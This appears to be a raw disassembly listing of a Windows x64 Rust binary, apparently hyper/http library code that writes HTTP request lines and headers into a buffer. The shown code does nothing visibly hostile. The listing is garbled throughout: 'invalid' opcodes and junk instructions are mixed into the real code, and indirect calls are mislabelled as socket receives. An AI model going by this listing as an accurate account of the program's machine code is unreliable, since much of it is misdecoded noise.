movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x143], ecx
lea rcx, [r12 + 0x18]
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
movdqa xmm0, xmmword [rsp + 0x70]
movq mm0, qword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r12 + 0x10], xmm1
movdqu xmmword [r12], xmm0
mov byte [r12 + 0x20], 0
mov eax, dword [rsp + 0x140]
add byte [rax], al
mov ecx, dword [rsp + 0x143]
mov dword [r12 + 0x21], eax
mov dword [r12 + 0x24], ecx
mov eax, dword [rsp + 0x199]
mov ecx, dword [rsp + 0x19c]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], eax
cmp r14, 1
jne 0x1400e4a88
movups xmm0, xmmword [0x1401d8ae8]
movaps xmmword [rsp + 0xe0], xmm0
movdqu xmm0, xmmword [0x1401d8ad8]
movdqa xmmword [rsp + 0xd0], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0xd0]
mov rdx, qword [rsp + 0x28]
call fcn.140089ab0
cmp byte [rsp + 0x90], 2
mov esp, 0x9024
add byte [rdx], al
je 0x1400e4a88
lea rcx, [rsp + 0x88]
add byte [rax], al
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + reloc.WS2_32.dll_recv]
xor eax, eax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r12
invalid
mov byte [rsp + 0xe0], 0
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0xe1], eax
mov dword [rsp + 0xe4], ecx
lea rax, [rbx + 0x100]
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
mov r8, qword [rsi + 0x50]
add r8, qword [rsi + 0x38]
lea rax, [r8 + r8]
lea eax, [rax + rax]
shl r8, 5
sub r8, rax
add r8, 0x1e
invalid
invalid
mov rax, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
sub rax, rdx
cmp rax, r8
jb case.default.0x1400e4b0f
invalid
invalid
or byte [rax], al
invalid
movzx edi, byte [rsi + 0xb8]
lea rax, [0x14020a848]
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
lea rsi, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHrange_end_out_of_bounds:
mov edi, 7
jmp 0x1400e4bbd
lea rsi, [0x1401aaaaf]
mov edi, 3
jmp 0x1400e4bbd
lea rsi, [0x1401aaab2]
mov edi, 4
jmp 0x1400e4bbd
lea rsi, [0x1401aaab6]
jmp 0x1400e4bbd
lea rsi, [0x1401aaab9]
mov edi, 6
jmp 0x1400e4bbd
lea rsi, [0x1401aaabf]
mov edi, 4
jmp 0x1400e4bbd
lea rsi, [0x1401aaac3]
mov edi, 5
jmp 0x1400e4bbd
lea rsi, [0x1401aaac8]
jmp 0x1400e4bbd
lea rsi, [0x1401aaacf]
mov edi, 5
add byte [rax], al
jmp 0x1400e4bbd
mov rax, qword [rsp + 0x28]
movzx edi, byte [rax + 0xc8]
cmp rdi, 0x10
jae 0x1400e59d9
lea rsi, [rax + 0xb9]
jmp 0x1400e4bbd
mov rax, qword [rsp + 0x28]
mov rsi, qword [rax + 0xc0]
mov rdi, qword [rax + 0xc8]
mov rax, qword [rbx + 0x108]
mov r15, qword [rbx + 0x110]
sub rax, r15
cmp rax, rdi
jb 0x1400e5400
mov rcx, qword [rbx + 0x100]
add rcx, r15
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add r15, rdi
mov qword [rbx + 0x110], r15
cmp qword [rbx + 0x108], r15
je 0x1400e541c
mov rax, qword [rbx + 0x100]
mov byte [rax + r15], 0x20
inc r15
mov qword [rbx + 0x110], r15
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x110], rax
mov rdi, qword [rsp + 0x28]
lea rax, [rdi + 0x60]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x40], rax
lea rax, [0x1400826c0]
mov qword [rsp + 0x48], rax
lea rax, [0x1401ab948]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdx, [0x1401ab968]
lea rsi, [rsp + 0x110]
lea r8, [rsp + 0x70]
mov rcx, rsi
call fcn.140059e20
movzx eax, byte [rdi + 0xd8]
cmp rax, 1
je 0x1400e4cf3
cmp eax, 2
je 0x1400e4d10
cmp eax, 3
jne 0x1400e5928
mov rax, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 7
ja 0x1400e4d31
mov r8d, 8
mov rcx, qword [rsp + 0x30]
call fcn.14015cc80
mov rdx, qword [rbx + 0x110]
jmp 0x1400e4d31
mov rax, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
sub rax, rdx
movabs rsi, 0x302e312f50545448
jmp 0x1400e4d2b
mov rax, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 8
jb 0x1400e4cda
mov rax, qword [rbx + 0x100]
mov qword [rax + rdx], rsi
add rdx, 8
mov qword [rbx + 0x110], rdx
mov rax, qword [rbx + 0x108]
sub rax, rdx
cmp rax, 1
jbe 0x1400e543b
mov rax, qword [rbx + 0x100]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [rbx + 0x110], rdx
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0xd0]
test rcx, rcx
je 0x1400e4e75
in eax, dx
add byte [rax], al
invalid
in eax, dx
add byte [rax], al
add byte [rax - 0x7d], cl
jns 0x1400e4da4
cmp qword [rcx + 0x18], 0
je 0x1400e4e75
add byte [rdi], cl
test dl, ah
add byte [rax], al
add byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
or byte [r8 - 0x73], cl
push rax
loopne 0x1400e4de8
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
lea rdx, [rax - 0x20]
movabs r8, 0x924d57ea05f46ed9
xor r9d, r9d
movdqa xmm0, xmmword [str.IIIIIIIIIIIIIIII]
pcmpeqd xmm1, xmm1
movdqa xmm2, xmmword [0x140168bc0]
mov eax, 0x5f46ed9
invalid
and r8, rcx
movdqu xmm3, xmmword [rax + r8]
movdqa xmm4, xmm3
pcmpeqb xmm4, xmm0
pmovmskb r11d, xmm4
nop word cs:[rax + rax]
test r11w, r11w
je 0x1400e4e20
lea esi, [r11 - 1]
jae 0x1400e4de9
inc dword [rcx + riz - 0x22]
and esi, r11d
tzcnt r10d, r11d
add r10, r8
and r10, rcx
mov r11, r10
shl r11, 5
mov rdi, rdx
sub rdi, r11
movdqu xmm4, xmmword [rdi]
pcmpeqb xmm4, xmm2
pmovmskb edi, xmm4
xlatb
cld
mov r11d, esi
cmp edi, 0xffff
jne 0x1400e4de0
jmp 0x1400e4e3b
pcmpeqb xmm3, xmm1
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x1400e4e75
add r8, r9
add r8, 0x10
add r9, 0x10
jmp 0x1400e4dbf
neg r10
shl r10, 5
mov rsi, qword [rax + r10 - 0x10]
mov rax, qword [rax + r10 - 8]
mov rcx, rsi
call qword [rax + 0x18]
movabs rcx, 0xa7ad2c82e6fda6c7
xor rcx, rdx
movabs rdx, 0x924d57ea05f46ed9
xor rdx, rax
or rdx, rcx
je 0x1400e5457
test bpl, bpl
je 0x1400e5177
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + 0x28]
mov rcx, qword [rax + 0x38]
xor edx, edx
mov qword [rsp + 0x130], rcx
test rcx, rcx
sete dl
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x168], rcx
mov r13, qword [rax + 0x40]
add rdx, rdx
xor ecx, ecx
mov qword [rsp + 0x148], r15
mov qword [rsp + 0x1a8], r13
jmp 0x1400e4ef2
mov word [rbp + rdi], 0xa0d
add rdi, 2
mov qword [rbx + 0x110], rdi
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x138]
cmp rdx, 2
jne 0x1400e4f10
inc rcx
cmp rcx, qword [rsp + 0x130]
jb 0x1400e4f60
jmp 0x1400e546c
cmp rcx, qword [rsp + 0x130]
jae 0x1400e5897
cmp rdx, 1
jne 0x1400e4f60
mov rax, qword [rsp + 0x150]
cmp rax, qword [rsp + 0x168]
jae 0x1400e58c6
lea rax, [rax + rax*8]
cmp qword [r13 + rax*8 + 0x10], 0
je 0x1400e4f90
mov rdx, qword [r13 + rax*8 + 0x18]
mov qword [rsp + 0x150], rdx
mov edx, 1
jmp 0x1400e4f95
imul rax, rcx, 0x68
mov rdx, qword [r15 + rax + 8]
mov qword [rsp + 0x150], rdx
cmp qword [r15 + rax], 1
mov edx, 0
adc rdx, 1
mov qword [rsp + 0x138], rdx
add rax, r15
add rax, 0x18
jmp 0x1400e4fa8
mov edx, 2
mov qword [rsp + 0x138], rdx
lea rax, [rax*8 + 0x20]
add rax, r13
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x158], rcx
imul rax, rcx, 0x68
lea rcx, [r15 + rax]
add rcx, 0x40
call fcn.140089cf0
mov rsi, rax
mov r12, rdx
mov r14, qword [rbx + 0x108]
mov rdi, qword [rbx + 0x110]
mov rax, r14
sub rax, rdi
cmp rax, rdx
jb 0x1400e510b
test r12, r12
je 0x1400e507d
mov r14b, 0x2d
xor ebp, ebp
jmp 0x1400e5027
and r14b, r13b
shl r14b, 5
xor r14b, r15b
mov rax, qword [rbx + 0x100]
add dword [rax], 1
add byte [rax], al
mov byte [rax + rdi], r14b
inc rdi
mov qword [rbx + 0x110], rdi
inc rbp
cmp r12, rbp
je 0x1400e5060
movzx r15d, byte [rsi + rbp]
cmp r14b, 0x2d
sete r14b
lea eax, [r15 - 0x61]
cmp al, 0x1a
setb r13b
cmp rdi, qword [rbx + 0x108]
jne 0x1400e5000
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call fcn.140093b10
mov rdi, qword [rbx + 0x110]
jmp 0x1400e5000
mov r14, qword [rbx + 0x108]
mov rax, r14
sub rax, rdi
mov r15, qword [rsp + 0x148]
mov r13, qword [rsp + 0x1a8]
cmp rax, 1
jbe 0x1400e5127
mov rbp, qword [rbx + 0x100]
mov word [rbp + rdi], 0x203a
add rdi, 2
mov qword [rbx + 0x110], rdi
mov rax, qword [rsp + 0x108]
mov r12, qword [rax + 8]
mov rsi, qword [rax + 0x10]
mov rax, r14
sub rax, rdi
cmp rax, rsi
jb 0x1400e514d
lea rcx, [rdi + rbp]
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rdi, rsi
mov qword [rbx + 0x110], rdi
sub r14, rdi
cmp r14, 1
ja 0x1400e4ed0
mov r8d, 2
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call fcn.14015cc80
mov rbp, qword [rbx + 0x100]
stosd dword [rdi], eax
add byte [rcx], al
add byte [rax], al
stosd dword [rdi], eax
add byte [rcx], al
add byte [rax], al
mov rdi, qword [rbx + 0x110]
jmp 0x1400e4ed0
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8, r12
call fcn.14015cc80
mov rdi, qword [rbx + 0x110]
jmp 0x1400e4ff5
mov r8d, 2
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call fcn.14015cc80
mov r14, qword [rbx + 0x108]
mov rdi, qword [rbx + 0x110]
jmp 0x1400e5087
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8, rsi
call fcn.14015cc80
mov rdi, qword [rbx + 0x110]
mov rbp, qword [rbx + 0x100]
mov r14, qword [rbx + 0x108]
jmp 0x1400e50bf
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x28]
mov rcx, qword [rax + 0x38]
xor r8d, r8d
mov qword [rsp + 0x108], rcx
test rcx, rcx
sete r8b
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x148], rcx
mov rcx, qword [rax + 0x40]
add r8, r8
xor r13d, r13d
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x150], rdx
jmp 0x1400e51f0
mov rax, qword [rbx + 0x100]
mov word [rax + rdi], 0xa0d
add rdi, 2
mov qword [rbx + 0x110], rdi
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x158]
cmp r8, 2
jne 0x1400e5210
inc r13
cmp r13, qword [rsp + 0x108]
jb 0x1400e5260
jmp 0x1400e546c
cmp r13, qword [rsp + 0x108]
jae 0x1400e58ad
cmp r8, 1
jne 0x1400e5260
mov rax, qword [rsp + 0x138]
cmp rax, qword [rsp + 0x148]
jae 0x1400e58df
lea rax, [rax + rax*8]
cmp qword [rcx + rax*8 + 0x10], 0
je 0x1400e5291
mov r8, qword [rcx + rax*8 + 0x18]
mov qword [rsp + 0x138], r8
mov r8d, 1
jmp 0x1400e5297
imul rax, r13, 0x68
mov rcx, qword [rdx + rax + 8]
mov qword [rsp + 0x138], rcx
cmp qword [rdx + rax], 1
mov ecx, 0
adc rcx, 1
mov qword [rsp + 0x158], rcx
lea rbp, [rdx + rax]
add rbp, 0x18
jmp 0x1400e52a7
mov r8d, 2
mov qword [rsp + 0x158], r8
lea rbp, [rcx + rax*8]
add rbp, 0x20
imul rax, r13, 0x68
lea rcx, [rdx + rax]
add rcx, 0x40
call fcn.140089cf0
mov r12, rax
mov rdi, rdx
mov r14, qword [rbx + 0x108]
mov r15, qword [rbx + 0x110]
mov rax, r14
sub rax, r15
cmp rax, rdx
jb 0x1400e537e
mov rsi, qword [rbx + 0x100]
lea rcx, [rsi + r15]
mov rdx, r12
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rdi, r15
mov qword [rbx + 0x110], rdi
mov rax, r14
sub rax, rdi
cmp rax, 1
jbe 0x1400e53a1
mov word [rsi + rdi], 0x203a
add rdi, 2
mov qword [rbx + 0x110], rdi
mov r15, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
sub r14, rdi
cmp r14, r12
cmp esi, esp
cmp esi, esp
jb 0x1400e53ce
add rsi, rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rdi, r12
mov qword [rbx + 0x110], rdi
mov rax, qword [rbx + 0x108]
sub rax, rdi
cmp rax, 1
ja 0x1400e51c0
mov r8d, 2
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call fcn.14015cc80
mov rdi, qword [rbx + 0x110]
jmp 0x1400e51c0
mov rcx, qword [rsp + 0x30]
mov rdx, r15
mov r8, rdi
call fcn.14015cc80
mov r14, qword [rbx + 0x108]
mov r15, qword [rbx + 0x110]
jmp 0x1400e52db
mov r8d, 2
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call fcn.14015cc80
mov rdi, qword [rbx + 0x110]
mov rsi, qword [rbx + 0x100]
mov r14, qword [rbx + 0x108]
jmp 0x1400e530b
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8, r12
call fcn.14015cc80
mov rsi, qword [rbx + 0x100]
mov rdi, qword [rbx + 0x110]
jmp 0x1400e5330
mov rcx, qword [rsp + 0x30]
call fcn.14015cc80
jmp 0x1400e4afa
mov rcx, qword [rsp + 0x30]
mov rdx, r15
mov r8, rdi
call fcn.14015cc80
mov r15, qword [rbx + 0x110]
jmp 0x1400e4bd7
mov r8d, 1
mov rcx, qword [rsp + 0x30]
mov rdx, r15
call fcn.14015cc80
mov r15, qword [rbx + 0x110]
jmp 0x1400e4c03
mov r8d, 2
mov rcx, qword [rsp + 0x30]
call fcn.14015cc80
mov rdx, qword [rbx + 0x110]
jmp 0x1400e4d5b
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
mov r8, qword [rsp + 0x30]
mov r9d, ebp
call fcn.140162380
mov rax, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
sub rax, rdx
cmp rax, 1
jbe 0x1400e587b
mov rax, qword [rbx + 0x100]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [rbx + 0x110], rdx
mov rax, qword [rsp + 0x28]
mov rsi, qword [rax + 0x28]
mov rdi, qword [rax + 0x38]
mov qword [rax + 0x38], 0
test rdi, rdi
je 0x1400e54f5
add rsi, 0x30
jmp 0x1400e54db
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
add rsi, 0x68
dec rdi
je 0x1400e54f5
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400e54c0
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e54c0
mov rax, qword [rsp + 0x28]
mov rsi, qword [rax + 0x40]
mov rdi, qword [rax + 0x50]
mov qword [rax + 0x50], 0
test rdi, rdi
je 0x1400e553b
add rsi, 0x38
nop word cs:[rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
adc byte [rax - 0x7d], cl
invalid
dec rdi
jne 0x1400e5520
adc byte [rax - 0x7d], cl
invalid
mov rax, qword [rsp + 0x28]
mov qword [rax], 0
mov rax, qword [rax + 0x20]
test rax, rax
je 0x1400e55bf
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x18]
lea rdx, [rax - 1]
movabs r8, 0x3fffffffffffffff
and r8, rdx
mov rdx, rcx
cmp r8, 7
jb 0x1400e55ab
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rdx, [rcx + r9*4]
xor r10d, r10d
movdqa xmm0, xmmword [0x140168960]
nop dword [rax]
movdqu xmmword [rcx + r10*4], xmm0
movdqu xmmword [rcx + r10*4 + 0x10], xmm0
add r10, 8
cmp r9, r10
jne 0x1400e5590
cmp r8, r9
je 0x1400e55bf
lea rax, [rcx + rax*4]
nop
mov dword [rdx], 0xffff
add rdx, 4
cmp rdx, rax
jne case.0x1400693d1.1969
mov rdi, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xe0]
mov r8, qword [rsp + 0x170]
cmp r8, 2
je 0x1400e5694
lea rdx, [rsp + 0x188]
mov rcx, qword [rsp + 0x178]
mov rax, qword [rsp + 0x180]
test r8, r8
je 0x1400e5618
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x170]
cmp r8, 2
je 0x1400e5694
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x178]
mov rax, qword [rsp + 0x180]
test r8, r8
je 0x1400e5658
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x170]
cmp rax, 2
je 0x1400e5694
test rax, rax
je 0x1400e5694
mov rax, qword [rsp + 0x178]
lock dec qword [rax]
jne 0x1400e5694
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
call fcn.140069a20
cmp rdi, 2
jne 0x1400e56e8
cmp qword [rbx + 0xb8], 0
je 0x1400e56b0
lea rcx, [rbx + 0xb8]
call fcn.140085c60
mov qword [rbx + 0xb8], r14
mov qword [rbx + 0x88], 5
mov rax, qword [rsp + 0x160]
mov qword [rax], 2
mov rbx, qword [rsp + 0x28]
cmp byte [rbx + 0xb8], 0xa
jae 0x1400e57b0
jmp 0x1400e57d0
mov rax, qword [rsp + 0x28]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rbx + 0x10]
cmp dword [rbx + 0x10], 3
je 0x1400e5743
mov rcx, rsi
call fcn.14006a760
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsi + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqa xmm2, xmmword [rsp + 0x90]
movdqa xmm3, xmmword [rsp + 0xa0]
movdqu xmmword [rsi + 0x30], xmm3
movdqu xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov rax, qword [rsp + 0x160]
mov qword [rax], rdi
mov qword [rax + 8], r14
mov qword [rax + 0x10], r15
mov rbx, qword [rsp + 0x28]
cmp byte [rbx + 0xb8], 0xa
jb 0x1400e57d0
cmp qword [rbx + 0xc8], 0
je 0x1400e57d0
invalid
mov r8, qword [rbx + 0xc0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x1a0]
cmp byte [rax], 2
jb 0x1400e5805
mov rsi, qword [rbx + 0x68]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbx + 0x88]
mov rax, qword [rbx + 0x70]
mov rdx, qword [rbx + 0x78]
mov r8, qword [rbx + 0x80]
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
mov ebp, dword [rax + 0x48000000]
mov eax, dword [rbx + 0x90]
mov rdx, qword [rbx + 0x98]
mov r8, qword [rbx + 0xa0]
call qword [rax + reloc.WS2_32.dll_recv]
cmp rdi, 2
jne 0x1400e584b
mov rcx, rbx
call fcn.14006a760
mov rcx, qword [rbx + 0xd0]
call fcn.1400b9900
movaps xmm6, xmmword [rsp + 0x1b0]
movaps xmm7, xmmword [rsp + 0x1c0]
add rsp, 0x1d8
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, 2
mov rcx, qword [rsp + 0x30]
call fcn.14015cc80
mov rdx, qword [rbx + 0x110]
jmp 0x1400e5487
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rdx, qword [rsp + 0x130]
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r13
mov rdx, qword [rsp + 0x108]
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x168]
call fcn.140160ed0
ud2
mov rcx, rax
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rdx, qword [rsp + 0x148]
call fcn.140160ed0
ud2
mov byte [rsp + 0x110], al
mov qword [rsp + 0x40], rsi
lea rax, [0x140082640]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 1
lea rdx, str.unexpected_request_version:
lea rsi, [rsp + 0x70]
lea r9, [rsp + 0x40]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea rax, [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 2
and al, 0x20
add al, byte [rax]
add byte [rax], al
lea rdx, str.new_len____capacity_
lea rsi, [rsp + 0x70]
lea r9, [rsp + 0x40]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea r8, [0x1401a9578]
mov edx, recv
mov rcx, rdi
call fcn.140160f40
ud2
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
lea rax, [0x140144ae0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rsp + 0x70]
lea r9, [rsp + 0x40]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
cmp qword [rsi + 0xb0], 0
je 0x1400e5af8
mov r8, qword [rsi + 0xa8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
or byte [rax], al
and eax, 0x86c60008
movabs al, byte [0x7046c7480b000000]
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0xa0], recv
mov qword [rsi + 0x70], 0
mov qword [rsi + 0x88], 2
mov dword [rsi + 0x88], 2
mov word [rsi + 0xc9], 1
add rsp, 0x20
pop rsi
ret
add byte [rax - 0x39], cl
xchg byte [rax + 0x5000000], cl
add byte [rax], al
add dh, al
xchg dl, cl
add byte [rax], al
add byte [rdx], al
add rsp, 0x20
pop rsi
ret
cmp dword [rcx + 0x70], 0
jne 0x1400e5b77
mov r8, rdx
mov rsi, rcx
mov rax, qword [rcx + 0x88]
cmp rax, 3
ja 0x1400e5b7f
cmp rax, 2
je 0x1400e5b7f
invalid
or byte [rax - 0x7d], cl
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
cmp byte [rsi + 0x171], 0
jne 0x1400e5b77
cmp qword [rsi + 0x158], 0
je 0x1400e5b9b
mov byte [rsi + 0xc9], 1
jmp 0x1400e5b77
lea rdx, [rsi + 0xd0]
lea rcx, [rsp + 0x20]
call fcn.1400e3d40
xchg esp, eax
loope 0x1400e5baa
dec dword [rax - 0x75]
and al, 0x20
xchg esp, eax
loope 0x1400e5baa
invalid
dec dword [rax - 0x75]
and al, 0x20
cmp rax, 2
je 0x1400e5b77
cmp eax, 1
jne 0x1400e5c01
mov rcx, qword [rsp + 0x28]
mov qword [rsi + 0x70], 4
mov qword [rsi + 0x88], 5
mov byte [rsi + 0xca], 2
call fcn.140087000
mov rdi, rax
lea rbx, [rsi + 0xb8]
cmp qword [rsi + 0xb8], 0
je 0x1400e5bfc
mov rcx, rbx
call fcn.140085c60
add dl, bh
invalid
mov qword [rbx], rdi
jmp 0x1400e5b92
cmp qword [rsp + 0x28], 0
jne 0x1400e5b92
invalid
cmp byte [rsi + 0xca], 0
mov qword [rsi + 0x70], 4
jne 0x1400e5c25
mov qword [rsi + 0x88], 5
mov byte [rsi + 0xca], 2
jmp 0x1400e5b77
mov rax, qword [rdi + 0x100]
movups xmm0, xmmword [0x1401d5d3b]
movups xmmword [rax + rdx + 9], xmm0
movups xmm0, xmmword [0x1401d5d32]
movups xmmword [rax + rdx], xmm0
add rdx, 0x19
mov qword [rdi + 0x110], rdx
mov qword [rdi + 0x70], 2
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.1400e5c40
jmp 0x1400e6b85
test r15, r15
jne 0x1400e5da1
mov esi, 1
mov r14d, 4
add byte [rax], al
add cl, ch
add byte [rax], al
invalid
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rcx
and byte [rdi], cl
mov dh, 0xa
test rcx, rcx
je 0x1400e5dc6
cmp ecx, 1
jne 0x1400e5df5
cmp byte [rdi + 0x79], 0xb
jne 0x1400e5dd0
jmp 0x1400e5dfb
cmp qword [rdi + 0x80], 0
je 0x1400e5dfb
test rax, rax
je 0x1400e5e51
movups xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
mov rax, qword [rbp - 0x28]
fmul dword [rdi]
adc dword [rax + 0x18], ecx
movups xmmword [rax + 8], xmm0
mov qword [rax], 1
jmp 0x1400e6b85
cmp byte [rdi + 0x79], 0
je 0x1400e5dd0
test rax, rax
je 0x1400e5e5c
lea rax, [rbp + 0x18]
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x40], xmm0
mov r14d, 3
add byte [rsi + 1], bh
jmp case.0x1400a1164.500
mov rbx, rdx
mov r14d, 4
